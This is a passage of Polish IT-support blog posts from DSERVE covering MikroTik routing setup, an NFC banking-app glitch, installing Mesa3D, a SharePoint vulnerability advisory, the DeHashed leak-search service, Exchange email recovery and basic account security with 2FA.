4. Monitorowanie i logowanie. Warto włączyć logowanie zdarzeń OSPF (/system logging add topics=ospf,ospf-discovery action=memory) – pomaga to diagnozować problemy i śledzić zdarzenia w sieci.

Podsumowanie i korzyści biznesowe

Zastosowanie tunelu IPIP z OSPF zapewnia skalowalne i odporne na awarie połączenie między centralą a oddziałami. Dynamiczny routing gwarantuje, że w przypadku awarii głównego łącza sieć automatycznie przełączy się na zapasowy uplink w ciągu milisekund, co minimalizuje przestoje i nie wymaga interwencji administratora. Ponieważ rozwiązanie opiera się na darmowych funkcjach RouterOS i nie wymaga drogich licencji, znakomicie sprawdza się w sieci wielu sklepów. Alternatywa w postaci IPsec nie wspiera OSPF, dlatego tunel IPIP stanowi optymalny wybór dla firm, które potrzebują dynamicznego zarządzania trasami.

W środowiskach, gdzie router posiada dwa niezależne źródła Internetu (np. łącze główne i zapasowe), może pojawić się problem z przekierowaniem portów na łączu dodatkowym. Najczęstszą przyczyną jest brak wymuszenia powrotu ruchu tą samą drogą, którą dotarł do routera.

Dlaczego to ważne?

Jeśli ruch przychodzi z dodatkowego łącza (np. WAN2), ale odpowiedzi wychodzą przez główne łącze (WAN1), sesja się rozłącza. Dzieje się tak, ponieważ adres źródłowy w pakietach odpowiedzi nie pasuje do oczekiwań klienta, a firewall po drodze (np. u operatora) taki ruch odrzuca.

Jak to naprawić?

Rozwiązaniem jest Policy Based Routing (PBR), czyli wymuszenie, by ruch z konkretnego źródła (w tym przypadku przychodzący z dodatkowego łącza) był kierowany z powrotem tą samą trasą. W RouterOS realizujemy to poprzez:

1. Utworzenie dodatkowej tablicy routingu
   Tablica ta będzie dedykowana dla ruchu pochodzącego z dodatkowego łącza.
   /routing table add name=WAN1 fib
   
2. Dodanie bramy domyślnej w tej tablicy
   Wskazujemy bramę operatora dla dodatkowego łącza:
   /ip route add dst-address=0.0.0.0/0 gateway=10.7.0.1 routing-table=WAN1
   
3. Oznaczanie połączeń wchodzących z dodatkowego łącza
   Pierwsza reguła oznacza nowe połączenia przychodzące z interfejsu WAN1:
   /ip firewall mangle add chain=prerouting in-interface=ether1-WAN connection-state=new \ action=mark-connection new-connection-mark=WAN1_conn
4. Wymuszenie powrotu ruchem tą samą drogą
   Druga reguła przypisuje oznaczonemu połączeniu nową trasę, wskazującą dodatkową tablicę routingu:
   add chain=prerouting in-interface-list=LAN connection-mark=WAN1_conn \ action=mark-routing new-routing-mark=WAN1

Efekt

Dzięki tej konfiguracji:

• Ruch przychodzący z dodatkowego łącza jest prawidłowo przekierowywany.
• Odpowiedzi na takie połączenia zawsze wychodzą tą samą drogą.
• Przekierowania portów działają niezależnie od tego, przez które łącze trafi do nas zapytanie.

Wskazówki praktyczne

• Upewnij się, że Twoje łącze dodatkowe ma publiczny adres IP – przy CGNAT przekierowanie portów nie zadziała.
• Jeśli korzystasz z failover, pamiętaj o odpowiednich priorytetach (distance) w trasach domyślnych.
• Wyłącz FastTrack w firewallu dla ruchu, na który stosujesz PBR – w przeciwnym razie reguły mangle mogą nie działać.

Coraz więcej osób korzysta z aplikacji bankowych takich jak ING, Millennium czy mBank do codziennych płatności, przelewów i zarządzania finansami. Niekiedy jednak zdarza się, że aplikacja zaczyna się „dziwnie” zachowywać — ekran odświeża się co sekundę, telefon wibruje bez przerwy, a korzystanie z aplikacji staje się praktycznie niemożliwe.

Z pozoru wygląda to na problem z oprogramowaniem. W rzeczywistości winowajcą może być… dowód osobisty lub karta bankowa włożona pod etui telefonu.

Jak to możliwe?

Nowoczesne smartfony Samsung, Xiaomi, Google Pixel i wiele innych modeli są wyposażone w moduł NFC (Near Field Communication). Umożliwia on m.in.:

• płatności zbliżeniowe telefonem (Google Pay, Samsung Pay),
• odczytywanie kart miejskich,
• skanowanie dokumentów z chipem.

Jeśli w etui telefonu nosimy dowód osobisty, kartę bankową lub inny dokument z chipem NFC, telefon cały czas próbuje go „odczytać”. W efekcie:

• NFC nawiązuje i przerywa połączenie wiele razy na sekundę,
• aplikacja bankowa może reagować opóźnieniami lub w ogóle się zawieszać,
• telefon może wibrować niemal bez przerwy.

Objawy problemu

• W aplikacji ING: można się zalogować, ale urządzenie wibruje bez ustanku.
• W aplikacji Millennium: ekran startowy odświeża się co chwilę, aplikacja staje się nieużywalna.
• Problem ustępuje natychmiast po wyłączeniu NFC w ustawieniach telefonu lub… wyjęciu dokumentów z etui.

Jak to rozwiązać?

1. Sprawdź etui – jeśli w telefonie nosisz dowód, kartę bankową lub bilet okresowy, wyjmij je na czas korzystania z aplikacji bankowej.
2. Zmień sposób przechowywania dokumentów – użyj etui, które oddziela chip od anteny NFC lub przenieś karty do portfela.
3. Wyłącz NFC, gdy nie korzystasz z płatności zbliżeniowych – ustawienia znajdziesz w:
   Ustawienia > Połączenia > NFC i płatności zbliżeniowe
4. Wyczyść pamięć podręczną telefonu – wykonaj tzw. wipe cache partition (instrukcja dostępna na stronie producenta), co dodatkowo może poprawić stabilność działania systemu.

Dlaczego wcześniej nie było problemu?

Nie wszystkie telefony mają antenę NFC umieszczoną w tym samym miejscu. W niektórych modelach jest ona oddalona od miejsca, w którym zazwyczaj przechowujemy karty w etui. W nowych urządzeniach (np. seria Samsung S23) konstrukcja może powodować, że karta lub dowód znajdują się bardzo blisko anteny — i to właśnie wywołuje konflikt.

Podsumowując:
Jeżeli Twoja aplikacja bankowa dziwnie się zachowuje przy włączonym NFC, zanim zaczniesz reinstalować oprogramowanie czy resetować telefon, sprawdź… czy przypadkiem winny nie jest Twój dowód osobisty lub karta bankowa w etui. Proste wyjęcie dokumentu może rozwiązać problem w kilka sekund.

„Failed to create OpenGL context for format QSurfaceFormat… This is most likely caused by not having the necessary graphics drivers installed.”

Co oznacza ten błąd i jak można go rozwiązać? Wyjaśniamy krok po kroku.

Co oznacza ten błąd?

Sigillum Manager do poprawnego działania wymaga wsparcia dla technologii graficznej OpenGL w wersji 2.0 lub wyższej. Jeśli Twój komputer nie posiada odpowiednich sterowników karty graficznej lub nie wspiera sprzętowo OpenGL, program nie będzie mógł się uruchomić i zgłosi błąd.

Do problemu dochodzi najczęściej na starszych komputerach, maszynach wirtualnych lub stacjach roboczych bez dedykowanej karty graficznej. W takich przypadkach system Windows nie udostępnia wymaganych bibliotek graficznych, przez co aplikacja – jak Sigillum Manager – nie może zainicjować interfejsu użytkownika.

Rozwiązanie – emulator OpenGL Mesa3D

Zamiast inwestować w nowy sprzęt, możesz skorzystać z darmowego emulatora OpenGL – Mesa3D. To narzędzie umożliwia „symulację” funkcji graficznych OpenGL w systemie Windows, nawet na komputerach bez nowoczesnej karty graficznej.

Dzięki Mesa3D aplikacje takie jak Sigillum Manager mogą działać poprawnie mimo braku sprzętowego wsparcia dla OpenGL.

Instrukcja instalacji Mesa3

Poniżej znajdziesz instrukcję krok po kroku, jak zainstalować Mesa3D na swoim komputerze:

1. Pobierz emulator

Pobierz archiwum z bibliotekami Mesa3D (wersja 24.3.4) z oficjalnego źródła:

Pobierz emulator OpenGL (Mesa3D)

2. Rozpakuj pliki

• Pobierz plik .7z na swój komputer.
• Rozpakuj archiwum do lokalnego folderu – najlepiej na pulpicie lub w katalogu C:\Mesa3D.
• Nie rozpakowuj pliku do folderów sieciowych, pendrive’ów ani katalogów udostępnionych.

3. Uruchom instalator

• Otwórz folder, do którego rozpakowałeś pliki.
• Znajdź plik o nazwie systemwidedeploy.cmd.
• Kliknij na nim prawym przyciskiem myszy i wybierz „Uruchom jako administrator”.
• Jeśli pojawi się prośba o hasło administratora – wpisz je i potwierdź.

4. Wybierz odpowiednią opcję

• Po uruchomieniu instalatora zobaczysz menu w konsoli.
• Wybierz opcję nr 1, wpisując 1 i zatwierdzając Enterem.
• Rozpocznie się instalacja bibliotek OpenGL w całym systemie.

5. Zakończ i uruchom ponownie komputer

• Po zakończeniu instalacji zamknij konsolę.
• Dla pewności uruchom ponownie komputer.

Efekt końcowy

Po poprawnej instalacji Mesa3D, Sigillum Manager powinien uruchomić się bez błędu OpenGL i działać poprawnie. Emulator dostarcza brakujące komponenty graficzne, dzięki którym program może funkcjonować niezależnie od sprzętowej karty graficznej.

Podsumowanie

Jeśli Twój komputer nie spełnia graficznych wymagań programu Sigillum Manager, nie musisz od razu inwestować w nowy sprzęt. Wystarczy zainstalować darmowy emulator Mesa3D, który zapewnia obsługę OpenGL i pozwala uruchomić program nawet na starszych urządzeniach.

Masz pytania lub napotkałeś trudności przy instalacji? Skontaktuj się z nami – chętnie pomożemy!

Firma Microsoft poinformowała o poważnym zagrożeniu bezpieczeństwa w oprogramowaniu SharePoint Server w wersji instalowanej lokalnie (tzw. on-premises). Wykryta luka o oznaczeniu CVE-2025-53770 umożliwia nieuprawnionym osobom zdalne przejęcie kontroli nad serwerem SharePoint. Co istotne – problem nie dotyczy usługi SharePoint Online dostępnej w ramach Microsoft 365.

Co się stało?

W systemie SharePoint Server odkryto błąd, który pozwala atakującym na zdalne wykonanie dowolnego kodu na serwerze. Oznacza to, że cyberprzestępcy mogą uzyskać pełny dostęp do firmowych danych, plików i konfiguracji. Luka jest aktywnie wykorzystywana – potwierdzono już wiele rzeczywistych incydentów naruszenia bezpieczeństwa.

Szczególnie niepokojące jest to, że luka występuje również w najnowszych wersjach SharePoint Server i jak dotąd nie została jeszcze załatana przez Microsoft. W chwili obecnej nie ma oficjalnej aktualizacji zabezpieczającej system przed tym zagrożeniem.

Kto jest zagrożony?

Zagrożone są wszystkie firmy i instytucje, które korzystają z lokalnej instalacji SharePoint Server (zarówno starsze wersje, jak i najnowsza SharePoint Server Subscription Edition). Jeśli korzystasz z SharePoint Online w chmurze – nie musisz podejmować żadnych działań. Ta wersja jest bezpieczna.

Co należy zrobić?

Microsoft opublikował tymczasowy poradnik, jak zabezpieczyć swoją instalację SharePoint przed atakiem. Do najważniejszych zaleceń należą:

• Włączenie ochrony AMSI (funkcja blokująca złośliwe skrypty)
• Upewnienie się, że serwer ma aktywną ochronę antywirusową Microsoft Defender
• W miarę możliwości – tymczasowe odłączenie serwera SharePoint od Internetu
• Monitorowanie aktywności serwera pod kątem podejrzanych plików lub połączeń

Szczegółowe instrukcje są dostępne na stronie Microsoft:
https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770

Dlaczego to ważne?

Utrata kontroli nad serwerem SharePoint może prowadzić do wycieku danych, przerw w pracy firmy lub poważnych strat finansowych. W czasach, gdy cyberataki stają się coraz bardziej zaawansowane i powszechne, szybka reakcja na takie zagrożenia jest kluczowa dla zachowania bezpieczeństwa operacyjnego.

DeHashed.com to internetowa platforma umożliwiająca przeszukiwanie ogromnej bazy danych informacji, które wyciekły w różnych incydentach naruszenia bezpieczeństwa. Serwis agreguje publicznie dostępne dane z takich wycieków i pozwala sprawdzić, czy określone dane osobowe lub loginy znalazły się wśród nich. To nowoczesna wyszukiwarka wyciekłych danych uwierzytelniających, stworzona z myślą o analitykach bezpieczeństwa i zespołach zajmujących się analizą otwartych źródeł (OSINT).

Dzięki DeHashed użytkownicy mogą szybko zweryfikować, czy np. adres e-mail, nazwa użytkownika, numer telefonu, adres IP lub domena internetowa nie zostały ujawnione wśród miliardów rekordów pozyskanych z incydentów naruszeń danych.

Jakie informacje można znaleźć w DeHashed?

DeHashed gromadzi różnorodne dane ujawnione w wyciekach, w tym:

• Adresy e-mail i loginy użytkowników – powiązane z kontami w różnych serwisach.
• Hasła – zarówno w postaci zahashowanej, jak i czasem w czystym tekście.
• Dane osobowe – imiona, nazwiska, adresy zamieszkania, daty urodzenia.
• Numery telefonów – rzadko spotykane w innych narzędziach tego typu.
• Adresy IP – np. adresy logowania czy przypisane do użytkowników.
• Domeny internetowe – dane z rejestracji domen i powiązane z nimi e-maile.
• Inne dane – np. klucze API, dane finansowe, numery VIN pojazdów.

Jak działa wyszukiwarka DeHashed?

Po założeniu konta użytkownik może wpisać dowolną frazę w pole wyszukiwania – np. adres e-mail, nazwę użytkownika, numer telefonu lub fragment hasła. System zwraca pasujące wyniki: źródło wycieku, rodzaj danych oraz, jeśli dostępne, pełne lub częściowe informacje.

Wyszukiwarka obsługuje zaawansowane funkcje, takie jak:

• symbole wieloznaczne (wildcards), np. *@firma.pl
• wyrażenia regularne (regex)
• operatory logiczne łączące różne kryteria

DeHashed oferuje również API, które pozwala na automatyzację i integrację z systemami bezpieczeństwa. Dla bardziej zaawansowanych użytkowników dostępne są powiadomienia e-mail lub SMS o nowych wyciekach.

Zastosowanie w działaniach SOC (Security Operations Center)

Dla zespołów SOC DeHashed jest niezwykle wartościowym narzędziem. Umożliwia:

• Wczesne wykrywanie wycieków danych firmowych – monitorowanie adresów e-mail i domen firmowych.
• Reagowanie na incydenty – szybkie wykrycie konta pracownika w bazie pozwala natychmiast zareagować.
• Audyt bezpieczeństwa – sprawdzenie, czy hasła pracowników nie zostały ujawnione.
• Threat intelligence – analiza typów i skali naruszeń, które mogą dotknąć firmę.
• Automatyzację działań SOC – integracja z SIEM i systemami ticketowymi.

Przykładowe scenariusze użycia

1. Wyciek danych pracownika: SOC otrzymuje alert o adresie jan.kowalski@firma.pl w nowym wycieku. Hasło jest dostępne. Zespół blokuje konto, resetuje hasło i kontaktuje się z pracownikiem.
2. Audyt bezpieczeństwa: Firma przeszukuje DeHashed pod kątem swojej domeny i wykrywa 15 wycieków. Dzięki temu zmusza pracowników do zmiany haseł i wprowadza politykę silnych haseł.
3. Dochodzenie po incydencie: Po podejrzanej aktywności SOC odkrywa, że dane logowania pracownika były ujawnione w poprzednim wycieku. To pozwala zrozumieć wektor ataku i zaktualizować zabezpieczenia.

Aspekty prawne i etyczne

DeHashed działa w granicach prawa, jednak użytkownik musi przestrzegać etyki:

• Używaj narzędzia wyłącznie do monitorowania własnych danych lub danych swojej organizacji.
• Nie wykorzystuj informacji do celów przestępczych.
• Szanuj prywatność innych – DeHashed oferuje możliwość usunięcia danych na żądanie.

Warto pamiętać, że mimo przydatności tego narzędzia, jego użycie powinno być częścią szerszej strategii bezpieczeństwa. Nie zastąpi ono dobrych praktyk, takich jak unikalne hasła, uwierzytelnianie dwuskładnikowe i regularne szkolenia z cyberbezpieczeństwa.

Zdarzają się wypadki – czasem e-mail zostanie usunięty przypadkowo przez współpracownika, a czasem celowo. Niezależnie od przyczyny, utrata ważnej korespondencji może poważnie zakłócić pracę.

Na szczęście, nawet jeśli wiadomość została usunięta z folderu „Elementy usunięte”, nie wszystko stracone. Wiadomości trafiają wtedy do specjalnego folderu „Elementy do odzyskania” (często nazywanego „koszem Exchange”). Domyślnie Microsoft 365 przechowuje tam dane przez 14 dni.

Tu z pomocą przychodzi Exchange Admin Center (EAC).

Krok 1: Przyznaj sobie odpowiednie uprawnienia

Zanim rozpoczniesz odzyskiwanie, musisz nadać swojemu kontu administratora uprawnienia do odzyskiwania danych. Bez tego opcja przywracania wiadomości będzie nieaktywna.

1. W EAC przejdź do zakładki „Role”, a następnie do „Role administratorów”.
2. Kliknij „Dodaj grupę ról”.
3. W sekcji „Podstawowe informacje” nadaj nazwę nowej grupie ról, np. „Odzyskiwanie e-maili”.
4. W polu „Opis” możesz dodatkowo określić cel tej grupy (opcjonalnie).
5. Zakres zapisu pozostaw ustawiony jako „Domyślny”.
6. Przejdź do sekcji „Dodaj uprawnienia” i wybierz „Mailbox Import Export” – to rola niezbędna do odzyskiwania wiadomości z konkretnych skrzynek.
7. W sekcji „Przypisz administratorów” dodaj swoje konto administracyjne i kliknij „Dalej”.
8. Sprawdź wszystkie ustawienia i zatwierdź klikając „Dodaj grupę ról”.

Uwaga: może minąć do godziny, zanim nowe uprawnienia zaczną działać.

Krok 2: Odzyskiwanie wiadomości e-mail

Po aktywacji uprawnień możesz przystąpić do odzyskiwania usuniętych e-maili.

1. W EAC przejdź do zakładki „Odbiorcy”, a następnie wybierz „Skrzynki pocztowe”.
2. Wybierz skrzynkę użytkownika, od którego chcesz odzyskać e-maile.
3. Przejdź do zakładki „Inne” i kliknij „Odzyskaj usunięte elementy”.
4. Zostaniesz przeniesiony do interfejsu odzyskiwania – możesz przeszukiwać wiadomości według słów kluczowych, tematu, nadawcy, odbiorcy, daty itp.
5. Zaznacz wiadomości, które chcesz odzyskać, i kliknij „Odzyskaj elementy”.
6. Po odzyskaniu, e-mail(e) automatycznie wrócą do skrzynki odbiorczej użytkownika.

Dzięki tej instrukcji możesz w łatwy sposób przywracać istotne wiadomości e-mail i utrzymać ciągłość komunikacji w swojej firmie – bez zakłóceń i niepotrzebnego stresu.

W ostatnich dniach wielu administratorów – w tym również nasz zespół – napotkało niecodzienny problem z Microsoft 365. Mimo że adres IP nadawcy nie widnieje na listach blokujących Spamhaus, wiadomości e-mail nie dochodzą do odbiorców korzystających z usług Microsoftu.

Co się dzieje?

Z pozoru wszystko wygląda w porządku:

• IP czyste w narzędziach weryfikacyjnych Spamhaus.
• Żadne alerty reputacyjne.
• Brak wpisu w publicznych RBL.

Jednak… wiadomości są odrzucane lub blokowane po stronie Microsoft 365. Po wielu godzinach analizy i korespondencji z pomocą techniczną otrzymaliśmy potwierdzenie:

„Microsoft i inni duzi dostawcy poczty korzystają z wewnętrznych mirrorów danych Spamhaus lub własnych wersji list, które mogą zawierać opóźnione lub dodatkowe wpisy niewidoczne publicznie.”

To oznacza, że nawet jeśli Spamhaus mówi, że jesteś czysty, Microsoft może jeszcze przez 24–48h widzieć starą wersję listy.

Co można zrobić?

1. Zgłoszenie przez portal Microsoft Delisting:
   https://sender.office.com
   Warto dołączyć zrzut ekranu z wynikiem weryfikacji w Spamhaus oraz opis sytuacji.
2. Cierpliwość (niestety):
   Microsoft cache’uje dane nawet do 48h. Czasem nie pozostaje nic innego jak… poczekać.
3. Kontakt z supportem Microsoft (jeśli jesteś klientem M365):
   W naszym przypadku kontakt z inżynierem wsparcia technicznego był pomocny – potwierdził globalny charakter problemu.

Wnioski?

W świecie poczty elektronicznej nie wszystko, co widać, to cała prawda. Systemy antyspamowe są coraz bardziej złożone, a dostawcy korzystają z własnych interpretacji danych. To pokazuje, jak ważna jest transparentność i współpraca między administratorami a dostawcami usług.

Jeśli również spotkałeś się z taką sytuacją – daj znać. Wspólnie możemy szybciej dochodzić do rozwiązań.

Pozdrawiam,
Dawid Sobieraj
DSERVE – Centrum Wsparcia IT

Dlaczego bezpieczeństwo danych jest tak ważne?

W dobie cyfrowej każdy z nas niemal na co dzień korzysta z Internetu – od zakupów online, przez pracę zdalną, po kontakty ze znajomymi i rodziną. Przechowujemy online prywatne zdjęcia, dane bankowe czy dokumenty firmowe. Utrata kontroli nad tymi informacjami może mieć poważne konsekwencje: jesteśmy narażeni na kradzież tożsamości, oszustwa finansowe czy utratę reputacji. Dla firm zaś wyciek danych klientów czy dokumentów firmowych oznacza często ogromne koszty oraz brak zaufania ze strony rynku. W Unii Europejskiej obowiązują surowe przepisy ochrony danych osobowych (RODO), a ich naruszenie może skutkować wysokimi karami finansowymi.

Coraz częściej słyszymy o atakach hakerskich i wyciekach danych. W 2024 roku liczba takich incydentów na całym świecie rośnie – od spektakularnych ataków na wielkie firmy po precyzyjne, skierowane na pojedynczych użytkowników kampanie phishingowe. Jako właściciel firmy DSERVE spotykam się na co dzień z przedsiębiorcami, którzy dopiero po utracie danych lub przełamaniu zabezpieczeń doświadczają, jak bardzo brak odpowiedniej ochrony potrafi sparaliżować biznes. Dlatego piszę ten artykuł: lepiej zapobiegać niż reperować szkody po ataku.

Najgłośniejsze doniesienia o wyciekach danych

W zeszłym tygodniu media obiegły informacje o wycieku 16 miliardów haseł do kont Apple ID, Google, Facebook i innych popularnych usług Dane te rzekomo pochodziły z wielu różnych źródeł – w internecie pojawiły się doniesienia o opublikowaniu 30 odrębnych pakietów z loginami i hasłami Tak potężne liczby sugerowały masowe włamanie, ale w praktyce sprawa jest inna.

Analitycy i CERT Polska wyjaśniają, że nie doszło do wycieku z serwerów tych firm – zostały one odpowiednio zabezpieczonet Zamiast tego przestępcy zaatakowali wielu użytkowników z osobna, stosując złośliwe oprogramowanie typu infostealer. Te programy infekują komputery i telefony – często np. poprzez fałszywe e-maile czy podejrzane aplikacje – i podstępnie wykradają zapisane w nich dane logowania. Innymi słowy, słabe ogniwo w zabezpieczeniach okazał się sam użytkownik i jego urządzenie.

Portal Cybernews informuje, że od początku 2024 roku odnaleziono około 30 takich paczek danych, z których każda zawierała miliony, a nawet miliardy rekordów. Choć te zestawy nie są już publicznie dostępne (zostały najpewniej sprzedane w darknetowych giełdach), ich analiza pokazała łączną liczbę 16 miliardów rekordów. W praktyce oznacza to, że hakerzy zdobyli hasła do milionów kont – ludzi na całym świecie. Nawet jeśli dotyczyły one dawniej zapomnianych serwisów, przestępcy mogą spróbować ich ponownie użyć (tzw. atak credential stuffing).

Z komunikatu CERT Polska wynika też, że takie masowe wycieki stają się coraz powszechniejszym zjawiskiem. Świadomość, że nasze dane mogły wpaść w czyjeś ręce, może budzić niepokój. Na szczęście dzięki odpowiednim środkom bezpieczeństwa możemy sami zadbać o to, aby znacznie utrudnić działanie cyberprzestępców. Poniżej podsumowuję najważniejsze informacje oraz kilka rad, które pomogą zabezpieczyć Twoje dane:

• 16 miliardów haseł? To nie masowe włamanie. Certyfikowani specjaliści podkreślają, że dane ujawnione w mediach nie pochodzą bezpośrednio z serwerów Google, Apple czy Facebooka Użyto natomiast oprogramowania infekującego komputery użytkowników. Mówiąc obrazowo: haker nie przeskoczył wysokiego muru (czyli zabezpieczeń firm), tylko wszedł tylnymi drzwiami przez rozprutą ścianę (czyli nasz niezabezpieczony komputer).
• Skąd te hasła? Wszystkie poufne dane zostały wykradzione z urządzeń osób zainfekowanych infostealerami. To wirusy kradnące hasła np. z przeglądarek internetowych lub specjalnych schowków systemowych. Zwykle rozprzestrzeniają się przez nieostrożność – kliknięcie podejrzanego linku czy otwarcie załącznika. Każdy z nas może nieświadomie przepuścić taki wirus na swój sprzęt. Dlatego zaleca się stałą czujność: nie klikamy nieznanych linków, nie instalujemy oprogramowania z niepewnych źródeł.
• 30 pakietów danych, 16 mld rekordów. Zgodnie z raportem Cybernews, badacze od początku 2024 znaleźli około 30 zbiorów danych zawierających loginy i hasła Choć bazy te nie są publicznie dostępne, ich zawartość (łącznie 16 miliardów rekordów) potwierdzono. W praktyce oznacza to, że informacje z tej skali wycieku mogą pozwolić na przejęcie kont niemal wszędzie – od skrzynki e-mail po media społecznościowe czy serwisy zakupowe. Nie wolno więc lekceważyć tego zagrożenia.
• Wycieki danych są coraz powszechniejsze, ale można się przed nimi chronić. Świadomość zagrożeń to podstawa. Proste działania mogą znacząco zmniejszyć ryzyko. Chodzi przede wszystkim o stosowanie silnych haseł, włączanie 2FA wszędzie tam, gdzie to możliwe, oraz zachowanie ostrożności przy pobieraniu plików lub wchodzeniu na podejrzane strony.
• Co możesz zrobić? Oto kilka kluczowych zasad:
  • Stosuj silne, unikalne hasła: Dla każdego konta wymyśl inne, trudne do odgadnięcia hasło. Pomagają w tym menedżery haseł, które automatycznie generują i zapamiętują skomplikowane ciągi. Wystarczy jedno główne hasło do menedżera, by odblokować wszystkie inne. Ważne: nie używaj ponownie tego samego hasła w wielu serwisach!
  • Włącz weryfikację dwuskładnikową (2FA): To dodatkowy etap logowania. Po wpisaniu loginu i hasła system poprosi o kod – np. wysłany SMS-em lub wygenerowany w aplikacji (Google Authenticator, Authy itp.). Kod ten zmienia się co chwilę. Dzięki temu nawet gdyby ktoś poznał Twoje hasło, nie zaloguje się bez kodu. CERT Polska zauważa, że przy 2FA „nawet jeśli ktoś pozna nasze hasło, nie będzie w stanie zalogować się bez drugiego czynnika”. Po włączeniu 2FA warto też zapisać wygenerowane kody zapasowe – pozwolą one odzyskać dostęp, gdy zgubisz telefon.
  • Nie instaluj oprogramowania z nieznanych źródeł: Uważaj na linki i załączniki w wiadomościach e-mail czy wiadomościach na mediach społecznościowych. Pobieraj pliki tylko z oficjalnych źródeł (Google Play, App Store, oficjalne strony producentów). Jeśli coś w wiadomości wydaje Ci się podejrzane (literówki, nietypowa domena nadawcy itp.), nie otwieraj tego. Dzięki takiej ostrożności zmniejszysz ryzyko wprowadzenia wirusa na swój komputer lub telefon.

Jak włączyć dwuskładnikowe logowanie (2FA) w poczcie i na Facebooku

Dwuskładnikowe uwierzytelnianie (2FA) jest obecnie jednym z najskuteczniejszych narzędzi ochrony kont. Działa jak drugi zamek – nawet jeśli złodziej hasła wpisze „klucz” (Twoje hasło), i tak nie otworzy drzwi (nie dostanie się na konto) bez drugiego etapu. Poniżej znajdziesz instrukcje, jak włączyć 2FA w kilku popularnych usługach.

Gmail (Konto Google)

1. Przejdź na stronę Konto Google i zaloguj się.
2. W panelu wybierz sekcję „Bezpieczeństwo”.
3. W obszarze „Logowanie się w Google” kliknij „Weryfikacja dwuetapowa”, a następnie „Rozpocznij”
4. Google poprosi o potwierdzenie tożsamości (np. wyśle kod SMS). Następnie wybierz metodę 2FA: dodaj numer telefonu lub skonfiguruj aplikację uwierzytelniającą (np. Google Authenticator, Authy).
5. Na koniec wygeneruj i zapisz kody zapasowe. Od tej pory przy każdym logowaniu do Gmaila oprócz hasła będziesz musiał podać kod z telefonu – to znacznie podnosi poziom ochrony.

Poczta WP (1login)

1. Zaloguj się do WP Poczty przez 1login.
2. Przejdź do zakładki „Bezpieczeństwo”
3. W sekcji „Logowanie dwustopniowe” kliknij „Zabezpiecz swoje konto”
4. Uzupełnij wymagane dane (np. numer telefonu) i wybierz metodę weryfikacji – SMS lub aplikację do kodów. Postępuj według instrukcji wyświetlanych na ekranie.
5. Po włączeniu 2FA każde logowanie do WP Poczty będzie wymagać potwierdzenia kodem z SMS lub aplikacji.

Onet Poczta

1. Zaloguj się do Onet Poczta.
2. Przejdź do Ustawień konta (ikona profilu).
3. Kliknij „Kontrola bezpieczeństwa”.
4. Obok opcji „Weryfikacja dwuetapowa” wybierz „Włącz”
5. Potwierdź hasło i uzupełnij wymagane dane (np. numer telefonu). Wybierz metodę – kod SMS lub aplikację generującą kody.
6. Dokończ konfigurację zgodnie z instrukcjami. Od teraz po wpisaniu hasła Onet poprosi o dodatkowy kod przy każdym logowaniu.

Poczta Interia

1. Zainstaluj na smartfonie aplikację „Poczta Interia” (App Store lub Google Play) i zaloguj się w niej. Aplikacja będzie potrzebna do potwierdzania logowań.
2. Na komputerze wejdź na poczta.interia.pl i zaloguj do skrzynki.
3. Kliknij ikonę Ustawień (koło zębate) w prawym dolnym rogu, wybierz „Główne ustawienia”, a następnie zakładkę „Bezpieczeństwo”.
4. Włącz opcję „Logowanie dwustopniowe” (suwa przełącznik). Pojawi się instrukcja o konieczności użycia aplikacji mobilnej.
5. Kliknij „Mam już aplikację”, podaj numer telefonu i zatwierdź. Otrzymasz SMS z kodem – wprowadź go w aplikacji Poczta Interia.
6. W aplikacji potwierdź dodanie konta (kod SMS posłuży jako PIN). Od tej pory przy każdym logowaniu do Poczty Interia będziesz musiał dodatkowo zatwierdzić logowanie w aplikacji lub SMS-em.

Facebook

1. Zaloguj się na Facebooku (przeglądarka lub aplikacja).
2. W menu wybierz „Ustawienia i prywatność”, a następnie „Ustawienia”.
3. Przejdź do sekcji „Zabezpieczenia i logowanie” (lub „Centrum kont”).
4. Kliknij „Uwierzytelnianie dwuskładnikowe” i naciśnij „Edytuj” przy tej opcji.
5. Wybierz metodę – kod SMS lub aplikację generującą kody (lub klucz sprzętowy)
6. Przejdź przez proces weryfikacji (Facebook wyśle kod SMS lub kod QR do zeskanowania). Po zakończeniu konfiguracji każdy login wymagał będzie hasła i dodatkowego kodu.

Ochrona urządzeń – antywirus i aktualizacje

Nawet najlepsze hasło czy włączona 2FA nie wystarczą, jeśli komputer lub telefon jest zainfekowany. Dlatego warto mieć na urządzeniu dobrą ochronę. W systemach Windows 10/11 jest wbudowany Windows Defender – darmowy program antywirusowy i zapora sieciowa. Dla przeciętnego użytkownika to dobry start, ale ma on swoje ograniczenia. Niezależne testy wykazały, że Windows Defender wykrywa tylko około 69% zagrożeń offline i 83% online Oznacza to, że co piąty wirus może przejść niezauważony. Ponadto Defender nie chroni skutecznie przed zaawansowanymi zagrożeniami, takimi jak nowe wirusy ransomware czy zaawansowane trojany.

Warto więc rozważyć komercyjne rozwiązania antywirusowe. Programy takie jak ESET Internet Security, Bitdefender czy Norton 360 oferują wiele dodatkowych modułów: blokują podejrzane procesy, chronią przed oprogramowaniem wymuszającym okup, zabezpieczają bankowość online (tryb „Safe Money”) czy monitorują ruch sieciow Dzięki temu ryzyko infekcji maleje jeszcze bardziej. Przykładowo, rozwiązania te często skanują w chmurze nowe zagrożenia oraz oferują bardziej zaawansowaną zaporę sieciową – funkcje, których nie daje podstawowy Defender.

Dodatkowo zawsze instaluj aktualizacje systemu i aplikacji. Producenci często łatają wykryte luki bezpieczeństwa – ignorowanie aktualizacji to jak wystawianie zaproszenia dla hakera. Włącz też zaporę sieciową (firewall) i regularnie twórz kopie zapasowe ważnych danych. Szyfrowanie dysków (np. BitLocker w Windows) to kolejny poziom ochrony w razie kradzieży sprzętu. Podsumowując: połącz siły antywirusa, zapory i zdrowego rozsądku, a Twoje urządzenia będą znacznie trudniej zaatakować.

DSERVE – Twoje wsparcie w cyberbezpieczeństwie

